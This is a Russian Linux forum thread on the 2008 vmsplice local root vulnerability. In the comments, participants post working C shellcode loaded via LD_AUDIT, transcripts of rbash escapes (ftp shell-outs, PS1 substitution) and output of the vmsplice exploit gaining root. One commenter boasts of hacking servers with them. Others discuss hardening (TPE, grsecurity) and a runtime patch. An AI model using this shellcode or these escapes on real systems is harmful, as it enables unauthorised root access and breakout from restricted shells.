LINUX.ORG.RU

Повышение привилегий в vmsplice

 , ,


0

0

Недостаточно скрупулезная проверка входных данных в системном вызове vmsplice позволяет обычному пользователю повысить привилегии до root-а на ядрах 2.6.17-2.6.24.1.

>>> Эксплойт

>>> Патч

>>> Обсуждение на /.

>>> LOR Talks

Update: Вышли новые версии ядер: 2.6.24.2, 2.6.23.16 и 2.6.22.18 с исправленной ошибкой.

>>> Подробности

★★★★

Проверено: Shaman007 ()
Ответ на: комментарий от Valmont

> [test@gaia386 ~]$ LD_AUDIT="./libapr-1.so.0" id ERROR: ld.so: object './libapr-1.so.0' cannot be loaded as audit interface: failed
to map segment from shared object; ignored. uid=500(test) gid=500(test) groups=200(restricted),500(test)

ну умеешь - не берись ;)

anonymous@fucksecurity:~/stuff$ cat fun3.c
#include <dlfcn.h>

unsigned int
la_version (unsigned int v)
{
asm volatile ("xorl %eax, %eax \n"
"push %eax \n"
"push $0x68732f2f \n"
"pushl $0x6e69622f \n"
"movl %esp, %ebx \n"
"pushl %eax \n"
"pushl %ebx \n"
"movl %esp, %ecx \n"
"xorl %edx, %edx \n"
"movl $11, %eax \n"
"int $0x80 \n"
);

return 1337;
}

anonymous@fucksecurity:~/stuff$ gcc -c fun3.c -o fun3.o
anonymous@fucksecurity:~/stuff$ ld -shared fun3.o -o fun3.so
anonymous@fucksecurity:~/stuff$ rbash
anonymous@fucksecurity:~/stuff$ cd /etc
rbash: cd: ограничено
anonymous@fucksecurity:~/stuff$ LD_AUDIT=$HOME/stuff/fun3.so id
$ cd /usr/bin
$ pwd
/usr/bin

anonymous
()
Ответ на: комментарий от Valmont

> в принципе защититься возможно.

В принципе нельзя исключать, что дыры все равно есть.

> С параноидальными настройками.

Если они не будут мешать нормаьной работе.

> С включенным TPE+rbash это не прокатит. Плюс, смотрите мой пост выше.

perl xploit.pl прокатит ;)

> Плюс, смотрите мой пост выше.

Не зная броду не суйся в воду. ;)

anonymous
()
Ответ на: комментарий от anonymous

Согласен, что такие настройки естественно не на каждой машине можно сделать :-) Тут я не спорю.

Valmont ★★★
()
Ответ на: комментарий от anonymous

На Hardened не канает твой fun3.so. Без Hardened работает прекрасно.

iron@office ~ $ LD_AUDIT=./fun3.so id ERROR: ld.so: object './fun3.so' cannot be loaded as audit interface: undefined symbol: __guard; ignored. uid=1000(iron) gid=1000(iron) groups=12(mail),1000(iron)

iron ★★★★★
()
Ответ на: комментарий от anonymous

Кстати, спасибо за наводку. Пересмотрел ман ld.so и пр.

Valmont ★★★
()
Ответ на: комментарий от iron

> ron@office ~ $ LD_AUDIT=./fun3.so id ERROR: ld.so: object './fun3.so' cannot be loaded as audit interface: undefined symbol: __guard; ignored. uid=1000(iron) gid=1000(iron) groups=12(mail),1000(iron)

Ручки... Cобери ванильным gcc, который не вхерачивает в библиотеку __guard

anonymous
()
Ответ на: комментарий от Valmont

> Туда же добавить LD_AUDIT и т.д.

> Я писал пару страниц назад. В перменной PATH нету perl.

Отлично. Обожаю сложности. ;)

anonymous@fucksecurity:~$ rbash
anonymous@fucksecurity:~$ typeset -xr LD_LIBRARY_PATH LD_AOUT_LIBRARY_PATH LD_NOWARN LD_KEEPDIR LD_AOUT_PRELOAD LD_PRELOAD LD_AUDIT
anonymous@fucksecurity:~$ ftp
ftp> !~/hello
Enter Your Name: anonymous
Hello anonymous
ftp> lcd /usr/bin
Local directory now /usr/bin
ftp> !./id
uid=1000(anonymous) gid=1000(anonymous) группы=1000(anonymous)
ftp> !echo yahooo rbash pwned again
yahooo rbash pwned again
ftp>

anonymous
()
Ответ на: комментарий от anonymous

Я тоже. ftp нету. Зато есть vi, mysql. У mysql в исходниках закоментирован выход в шел. vi запускается как rvi :-) Поехали дальше :-)

Valmont ★★★
()
Ответ на: комментарий от anonymous

>Ручки... Cобери ванильным gcc, который не вхерачивает в библиотеку __guard

Собрал на дефолтном Gentoo-вском тазике. Та же фигня...

$ LD_AUDIT=$HOME/fun3.so id
ERROR: ld.so: object '/home/iron/fun3.so' cannot be loaded as audit interface: undefined symbol: __guard; ignored.
uid=1000(iron) gid=1000(iron) groups=12(mail),1000(iron)

iron ★★★★★
()
Ответ на: комментарий от Valmont

anonymous@fucksecurity:~$ rbash
anonymous@fucksecurity:~$ PS1='$(./hello)'
rbash: ./hello: restricted: cannot specify `/' in command names

rbash: ./hello: restricted: cannot specify `/' in command names
unset PS1
PS1='$(bash -c ./hello)'
Hello, world!
Hello, world!
Hello, world!
Hello, world!
Hello, world!

Упс еще какой-то 0day нашелся ;)

anonymous
()
Ответ на: комментарий от iron

$ objdump -t fun3.so |grep guard|wc -l 0

Твой gcc собирает код с левыми hardened-ссылками на __guard. gcc-config, выбери vanilla, source /etc/profile и пробуй еще раз.

anonymous
()
Ответ на: комментарий от Valmont

На всякий случай:
$ sftp xxx@xxx
Connecting to xxx...
xxx@xxx's password: 
sftp> !./ls
/rbin/users/bash: ./ls: restricted: cannot specify `/' in command names
Shell exited with status 1

Valmont ★★★
()
Ответ на: комментарий от anonymous

Нет. Это не 0day. bash и вобще никаких интерпретаторов НЕ должно быть в PATH. Если оно есть, тогда смысла в rbash нет. Набираем в rbash bash/sh/tcsh и спокойно выходим из него. Но идея интересная :-)

Valmont ★★★
()
Ответ на: комментарий от Valmont

$ unset PS1 -bash: unset: command not found $ PS1='$(bash -c ./ls)' bash: ./ls: restricted: cannot specify `/' in command names

Valmont ★★★
()
Ответ на: комментарий от anonymous

>Твой gcc собирает код с левыми hardened-ссылками на __guard. gcc-config, выбери vanilla, source /etc/profile и пробуй еще раз.

IRON iron # objdump -t fun3.so |grep guard|wc -l
0
IRON iron # uname -a
Linux IRON.local 2.6.23-gentoo-r8 #1 SMP Mon Feb 11 15:45:46 EET 2008 i686 Intel(R) Core(TM)2 Duo CPU E6550 @ 2.33GHz GenuineIntel GNU/Linux
IRON iron # gcc-config -l
 [1] i686-pc-linux-gnu-3.3.6
 [2] i686-pc-linux-gnu-4.1.2 *

Вот что у меня имеется...

iron ★★★★★
()
Ответ на: комментарий от anonymous

И еще. С отключенным TPE и разрешенной LD_AUDIT

$ LD_AUDIT="./fun.so" id uid=609(xxx) gid=609(xxx) groups=603(rook),609(xxx),2000 $ ./ls -bash: ./ls: restricted: cannot specify `/' in command names

Valmont ★★★
()

Кто-нибудь может объяснить какую уязвимость и каким образом эксплоатирует этот экспоит? Моих позняних в С явно не хватает (

pento ★★★★★
()

alex@debian:~$ ./bb
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7f13000 .. 0xb7f45000
[-] vmsplice: Bad address
alex@debian:~$ uname -a
Linux debian 2.6.22.5-31 #1 SMP Mon Feb 11 23:00:10 MSK 2008 i686 GNU/Linux
alex@debian:~$


Системко Debian etch-r0, i386

Дистрибутивные сорцы не собирались, выцепил ядро из опензюзевских RPMок, пропатчил. Все путем )
На дистрибутивном ядре эксплоитилось.

Balthazar
()
Ответ на: комментарий от iron

LD_AUDIT это просто перменная, которую можно сделать RO. Но тут нужен комплексный подход. Это будет недостаточно. TPE наоборот имеет смысл включить там - где это можно сделать. Но он не везде есть. Я использую ядро с openvz патчем. Там есть. В оригинальном RedHat ядре нет. Есть в ядрах с GRSEC патчем. Опять же, оно само по себе не поможет. Но оно позволяет настроить политику безопасности, чтобы пользователь мог запускать бинарники только из каталогов принадлежащих руту и никому более недоступных на запись. Это в full restrict mode.

Valmont ★★★
()
Ответ на: комментарий от Valmont

> $ LD_AUDIT="./fun.so" id uid=609(xxx) gid=609(xxx) groups=603(rook),609(xxx),2000 $ ./ls -bash: ./ls: restricted: cannot specify `/' in command names

anonymous@fucksecurity:~$ rbash
anonymous@fucksecurity:~$ which bash
rbash: /usr/bin/which: /bin/sh: bad interpreter: Нет такого файла или каталога
anonymous@fucksecurity:~$ which sh
rbash: /usr/bin/which: /bin/sh: bad interpreter: Нет такого файла или каталога
anonymous@fucksecurity:~$ cat fun3.c
#include <dlfcn.h>

unsigned int
la_version (unsigned int v)
{
asm volatile ("xorl %eax, %eax \n"
"push %eax \n"
// "push $0x68732f2f \n"
"push $0x68732f2e \n"
// "pushl $0x6e69622f \n"
"movl %esp, %ebx \n"
"pushl %eax \n"
"pushl %ebx \n"
"movl %esp, %ecx \n"
"xorl %edx, %edx \n"
"movl $11, %eax \n"
"int $0x80 \n"
);

return 1337;
}

anonymous@fucksecurity:~$ cp /bin/rbash sh
anonymous@fucksecurity:~$ LD_AUDIT="$HOME/fun3.so" id
sh-3.1$ pwd
/home/anonymous
sh-3.1$ cd /etc/
sh-3.1$ pwd
/etc
sh-3.1$ cd usr/bin
sh: cd: usr/bin: No such file or directory
sh-3.1$ cd /usr/bin
sh-3.1$ ./id
uid=1000(anonymous) gid=1000(anonymous) groups=1000(anonymous)

anonymous
()
Ответ на: комментарий от anonymous

Ну не работает у меня.

xxx$ cp /bin/bash sh xxx$ LD_AUDIT="$HOME/fun.so" id uid=609(valmon1) gid=609(valmon1) groups=603(rook),609(valmon1),2000 xxx$ ./ls -bash: ./ls: restricted: cannot specify `/' in command names xxx$

после LD_AUDIT="$HOME/fun.so" id промт не меняется на валидный шелл, не рбашевский. который лежит в /bin/bash, но PATH=/rbin/users/

Valmont ★★★
()
Ответ на: комментарий от anonymous

$ cat fun4.c
#include <dlfcn.h>

unsigned int
la_version (unsigned int v)
{
asm volatile ("xorl %eax, %eax \n"
"push %eax \n"
// "push $0x68732f2f \n"
"push $0x68732f2e \n"
// "pushl $0x6e69622f \n"
"movl %esp, %ebx \n"
"pushl %eax \n"
"pushl %ebx \n"
"movl %esp, %ecx \n"
"xorl %edx, %edx \n"
"movl $11, %eax \n"
"int $0x80 \n"
);

return 1337;
}

$ gcc -o fun4.o -c fun4.c 
$ ld -shared fun4.o -o fun4.so

Копирую получившийся файл в тот шелл. Далее
xxx@xxx ~$ ls -la sh
-rwxr-x---  1 xxx1 xxx1 627756 2008-02-11 21:28 sh
xxx@xxx ~$ ls -la fun4.so 
-rwx------  1 xxx1 xxx1 1758 2008-02-11 21:48 fun4.so
xxx#xxx ~$ LD_AUDIT="./fun4.so" id
uid=609(xxx) gid=609(xxx) groups=603(rook),609(xxx),2000
xxx@xxx ~$ ./ls
-bash: ./ls: restricted: cannot specify `/' in command names

rbash по-моему у меня там скомпилированный только с режимом работы restricted, сейчас уже не помню. А /bin/bash, который я копировал в домашний каталог - нормальный шелл.

Практически обидно :)

Valmont ★★★
()
Ответ на: комментарий от anonymous

cd работает, потому что я в исходниках убрал это запрещение. Не вижу в нем смысла. ls нормально доступен, но мы ведь проверяем выход из ограничений rbash, так ведь? Поэтому пробуем запустить бинарник из домашнего каталога. ./ls Что сделать не получается.

Valmont ★★★
()
Ответ на: комментарий от Valmont

Ай молодца, Valmot!

Уделал злобного анонимуса!

Хотя, надо признать, и злобный анонимус молодец!

Обоим респект за интересную дискуссию.

anonymous
()
Ответ на: комментарий от Valmont

Дак видно же что LD_AUDIT не отработал. Возможно, оч. старый libc, который не умеет LD_PRELOAD. А, возможно, LD_AUDIT был забанен.

anonymous
()
Ответ на: комментарий от anonymous

Прошу прощения. ValmoNt. Очепятка

anonymous
()
Ответ на: комментарий от anonymous

Вобщем, наверно это должно работать без TPE и с LD_AUDIT, но в моем случае переход на sh не идет.

Valmont ★★★
()
Ответ на: комментарий от Valmont

> Возможно, оч. старый libc, который не умеет LD_PRELOAD.

s/который не умеет LD_PRELOAD/s который не умеет LD_AUDIT/

> Ну тогда мой косяк. LD_AUDIT разрешил,

Не, все правильно. А не под рестриктнутым юзером LD_AUDIT работает?

anonymous
()
Ответ на: комментарий от Valmont

> вот так всегда в линуксе. Нужно напильником пройтись, что и вирусы заработали, чтобы хаки пахали %-)

Ну ничего, в более новых версиях libc будет эта фича и тот, кто не знает про LD_AUDIT и юзает rbash тот попал. ;)

anonymous
()
Ответ на: комментарий от anonymous

Безусловно :-) Но туда

1)должен быть шелл.
2)админ должен не знать об LD_AUDIT
3)должна быть уязвимость и сплоит под нее, ради которого, собственно, из rbash стоило бы вылезать. 

Так что использование, там где это можно, rbash и прочих
параноидальных штук до определенной степени увеличивает сложность
взлома и шансы машины на выживание :)

Valmont ★★★
()

Я немного усовершенствовал рантайм-патч, теперь он не юзает сплоит, и не крэшит систему (по крайней мере у меня, и еще двух человек).

В архиве исходник + бинарник

http://slil.ru/25462911

Balthazar
()

ааа! злобный анонимоус жжет! пеши исче! я тут уже туеву хучу серваков похачил благодаря твоим изысканиям. респектище!

anonymous
()
Ответ на: комментарий от pento

>Кто-нибудь может объяснить какую уязвимость и каким образом эксплоатирует этот экспоит? Моих позняних в С явно не хватает (

да, расскажите пожалуйста.

anonymous
()
Ответ на: комментарий от Balthazar

Разве 0xc3 = ret достаточно? А код возврата -1 хотя бы для приличия? А если libc или какая-то программа через libc использует vmsplice?

anonymous
()
Ответ на: комментарий от anonymous

http://slil.ru/25463024

Почистил код немного, и исправил пару недочетов... Ну и конечно же привинтил к ней ГПЛ v 3.

Боевые испытания:

alex@debian:~$ uname -a
Linux debian 2.6.18-4-k7 #1 SMP Mon Mar 26 17:57:15 UTC 2007 i686 GNU/Linux
alex@debian:~$ ./vms_exp
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7f9a000 .. 0xb7fcc000
[+] root
root@debian:~# exit
exit
alex@debian:~$ cd Desktop
alex@debian:~/Desktop$ gcc runtime-patch.c -static -Wno-format -o runtime-patch
alex@debian:~/Desktop$ ./runtime-patch
-----------------------------------
 Linux vmsplice runtime locker, v 0.2
 (c) Balthazar
-----------------------------------
[-] Access denied
alex@debian:~/Desktop$ su
Password:
debian:/home/alex/Desktop# ./runtime-patch
-----------------------------------
 Linux vmsplice runtime locker, v 0.2
 (c) Balthazar
-----------------------------------
[+] Patching...
Patch done!
debian:/home/alex/Desktop# exit
exit
alex@debian:~/Desktop$ cd ..
alex@debian:~$ ./vms_exp
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7f28000 .. 0xb7f5a000
[-] vmsplice
alex@debian:~$

Balthazar
()
Ответ на: комментарий от Balthazar

В принципе, можно написать модуль, который будет подменять дырявый vmsplace своим... но как-нибудь потом, а то башка уже трещит.

/me идет спать.

anonymous
()
Ответ на: комментарий от anonymous

> $ strace perl syscall.pl 2>&1|grep 1337
гы-гы - ну конечно, так всем онанизмусам strace и предоставили.
чтобы таких мыслей было поменьше - всякие там strace и ping могут запускать только доверенные лица - то бишь члены групп root||wheel

mumpster ★★★★★
()
Ответ на: комментарий от mumpster

> гы-гы - ну конечно, так всем онанизмусам strace и предоставили.

LOL. Перевел коллегам — пять минут гомерического хохота. Передают большое спасибо за разрядку в конце первого понедельника на этой неделе, пиво слабо помогало ;)

baka-kun ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.